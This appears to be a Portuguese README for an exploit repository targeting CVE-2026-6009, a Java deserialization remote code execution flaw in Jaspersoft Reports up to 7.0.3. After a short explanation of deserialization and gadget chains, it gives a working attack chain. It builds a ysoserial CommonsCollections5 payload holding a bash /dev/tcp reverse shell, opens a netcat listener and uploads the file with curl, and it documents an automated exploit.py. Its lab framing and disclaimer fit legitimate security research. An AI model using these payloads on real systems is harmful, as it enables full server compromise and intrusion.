
Exploit PoC automatizado para CVE-2026-6009, uma RCE por desserialização Java no Jaspersoft Reports <=7.0.3. Gera payloads .jasper maliciosos via ysoserial e entrega reverse shell através do endpoint de upload de arquivos.
⚠️ Aviso: Este repositório é apenas para fins educacionais e testes de segurança autorizados. Não utilize contra sistemas que não sejam de sua propriedade ou para os quais você não tenha permissão explícita por escrito.
A biblioteca Jaspersoft report versão <= 7.0.3 é vulnerável a uma execução remota de código (RCE) explorando o fluxo de desserialização Java. Essa vulnerabilidade permite que um atacante realize uma conexão com um reverse shell no sistema que utiliza esta versão da biblioteca.
Para transmitir dados, alguns sistemas precisam converter objetos em um formato transmissível específico, isso é a serialização. A desserialização é a operação inversa. Em Java, o mecanismo vulnerável está em ObjectInputStream.readObject(), que é usado para desserializar qualquer objeto a partir de um fluxo de entrada. Como utiliza este método para ler arquivos de relatório na biblioteca Jaspersoft, é um ponto de entrada perigoso para inserir código malicioso.
JRLoader.loadObject()Apenas readObject() não é suficiente para acionar o código. Ele só funciona em classes conhecidas exploráveis. Então os atacantes utilizam gadget chains conhecidas, como CommonCollection, para executar seus payloads.
Para ser capaz de fazer uma Prova de Conceito (PoC), montei um laboratório em uma máquina Parrot com um servidor Web Java utilizando a Biblioteca Jaspersoft Report:
SO: Parrot OS 7 GNU/Linux Framework: Spring Boot versão 2.7.18 Dependência: Jasperreports versão 7.0.3 Ambiente: Java 11 Compilador: Maven
@PostMapping("/upload-report")
public String uploadReport(@RequestParam("file") MultipartFile file) {
try {
InputStream is = file.getInputStream();
// ObjectInputStream.readObject() chamado internamente por JRLoader
JasperReport report = (JasperReport) JRLoader.loadObject(is);
...
Para o primeiro passo, uma vez que você sabe que seu sistema alvo utiliza uma versão vulnerável do Jasperreport, você precisa encontrar o destino exato onde o alvo receberá o arquivo jasper.
Neste ambiente, é http://localhost:8080/upload-report
Em seguida, você precisa encontrar uma maneira de descobrir qual classe pode ser usada como gadget chain no sistema alvo. Você também pode tentar algumas e ver qual aciona o sistema.
Em um contexto de whitebox, podemos buscar essa informação por conta própria:
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"
Descobrimos que o sistema utiliza CommonsCollections.
Para CommonsCollections, utilize o script ysoserial para gerar o payload desejado. Aqui, faça um reverse shell:
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper
Você provavelmente precisará testar várias versões do CommonCollections para executar o payload.
Para realizar uma conexão reverse shell, precisamos ouvir em uma porta para receber a conexão do sistema alvo iniciada pelo payload:
nc -lnvp 4444
Finalmente, basta enviar o payload criado para o local encontrado e verificar sua porta para confirmar que a conexão foi estabelecida a partir do sistema alvo:
curl -X POST http://localhost:8080/upload-report -F "[email protected]"
Um atacante com acesso ao endpoint pode executar código arbitrário com privilégios de servidor, o que pode levar a um comprometimento total do sistema.
exploit.py é um script automatizado para reproduzir a exploração da vulnerabilidade CVE-2026-6009.
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444
| Flag | Descrição |
|---|---|
| -t, --target | Localização para onde enviar o arquivo .jasper |
| -s, --source | Seu endereço IP |
| -p, --port | A porta para a qual você deseja que o reverse shell se conecte |